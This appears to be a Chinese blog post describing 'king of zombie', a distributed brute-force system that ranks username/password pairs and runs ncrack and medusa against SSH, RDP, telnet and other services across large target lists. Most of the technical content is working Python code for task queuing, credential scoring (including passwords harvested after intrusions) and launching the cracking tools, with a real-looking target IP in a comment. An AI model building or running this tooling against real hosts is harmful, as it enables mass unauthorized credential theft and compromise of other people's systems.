谁是僵尸之王-如何进行高效的分布式爆破


文章目录
  1. 1. 前言
  2. 2. 传统方法
  3. 3. king of zombie
    1. 3.1. 流程
    2. 3.2. 表结构
    3. 3.3. 更新算法
      1. 3.3.1. master
      2. 3.3.2. koz node
    4. 3.4. 爆破算法
    5. 3.5. 爆破结果

前言

在研发漏洞扫描器的弱口令破解模块时,发现传统的通过字典遍历用户名密码的算法效率过低,当需要大批量高速爆破时,难以满足此类需求,因此需要引入新的算法,本文以一个分布式扫描器的爆破模块为例,演示如何进行高效快速的分布式爆破。
617292

传统方法

传统的密码穷举


效率非常低,而且还有可能触发报警

king of zombie

koz (king of zombie) 算法,即首先按照多种算法对用户名密码字典组合进行评分,然后用评分最高的组合去淘汰僵尸主机。

流程

  1. 上游push ncrack任务到队列
  2. koz 节点开始瓜分队列任务,保存为任务列表 (根据cpu,网速来分配多少任务) 。
  3. 使用账号密码字典爆破来遍历任务列表,hit中 即从列表中淘汰(字典按评分优先级排序)。
  • 说明
  1. 字典评分按照爆破成功记录次数和蜜罐记录次数来计算,master 端实时更新,koz node 每日定时更新。

  2. 淘汰机制具体为先去除一大部分普遍存在的弱口令,例如某一批次中,第一次使用 ubnt/ubnt 来爆破ssh服务,就能淘汰 15% 的任务,第二次使用 root/123456 能淘汰 3% 。

表结构

pw_koz_level

类型 注释
id int(11) 自动增量
username varchar(255) 用户名
password varchar(255) 密码
type varchar(255) 类型
score int(11) 评分

更新算法

目前数据来源有四个
第一个 扫描器爆破成功记录 score 值为 10
第二个 蜜罐记录 score 值 为 1
第三个 渗透进去提取到的有效密码(例如windows 明文) ,score 10
第四个 收集的各种工具扫描字典 score 值为 1

扫描的时候工具score 值来排序,命中一次之后+10

例如如下字典列表

master

推送任务之后使用无状态扫描工具扫描服务和指纹识别

koz node

KozTask 类来保存本地任务队列,接收处的代码为

1
2
3
4
5
6
def pop_member(self):
while self.len() > 0:
str_member=self.pop()
koz_member=ast.literal_eval(str_member)
self.list_member[str(koz_member['name'])].append(koz_member)
util.log("pop koz_member done count:%d" % (self.count()),2,'koztask')

本地队列处理完毕之后,开始foreach 循环用户名密码组合(根据score 大小优先级)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
koz_levels=get_koz_level()
for koz_level in koz_levels :
koz_queue.queue.clear()
#member={'name': 'ssh', 'task_id': 1124, 'url': '', 'host': '168.167.45.250', 'version': '', 'type': 'service', 'port': 22}
#ncrack.scan(member,koz_level)
#break
try :
for member in koz_task.list_member[koz_level['type']] :
koz_queue.put({'member':member,'level':koz_level})
work_manager = WorkManager(koz_queue, config.koz_thread) # thread
work_manager.wait_allcomplete()
except Exception, e:
util.log("error info:"+str(e),3,'koz_node')
util.log('koz_member len:%d' % (koz_task.count()),1,'koz_node')

当扫描出来结果时,直接把它从 koz_member 队列里面remove 掉,如此循环往复,直到跑完所有的密码。
remove

1
2
3
4
5
6
7
8
def run(self):
while 1:
if self.work_queue.empty() == True:
break
task = self.work_queue.get(block=False)
if ncrack.scan(task['member'],task['level']) != False :
koz_type=task['member']['name']
koz_task.list_member[koz_type].remove(task['member'])

爆破算法

负责爆破的为ncrack 模块,调用的爆破工具有 medusa,ncrack。
部分实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def scan(target,level):
if target['name'] == 'ms-wbt-server' or target['name'] == 'telnet' :
str_command = "ncrack --user %s --pass %s %s:%d " % (level['username'],level['password'],target['host'],target['port'])
str_ret=str(sys_exec(['ncrack', '--user',level['username'], '--pass', level['password'], target['host']+':'+ str(target['port'])]))
else :
str_command = "medusa -u %s -p %s -h %s -n %d -M %s" % (level['username'], level['password'], target['host'], target['port'], target['name'])
str_ret=str(sys_exec(['medusa','-u',level['username'],'-p',level['password'],'-h',target['host'],'-n',str(target['port']),'-M',target['name']]))
util.log(str_command, 2, 'ncrack')
#need change
if 'ACCOUNT FOUND' in str_ret or 'credentials' in str_ret:
str_data='[%s] %s %s:%s' % (target['name'],target['host'],level['username'],level['password'])
util.log('ncrack taskid:%d target:%s service:%s succeed' % (target['task_id'], target['host'], target['name']), 1, 'ncrack')
return report(target,str_data)
else :
return False

爆破结果

总览

图文分析

部分结果一览

147030475970560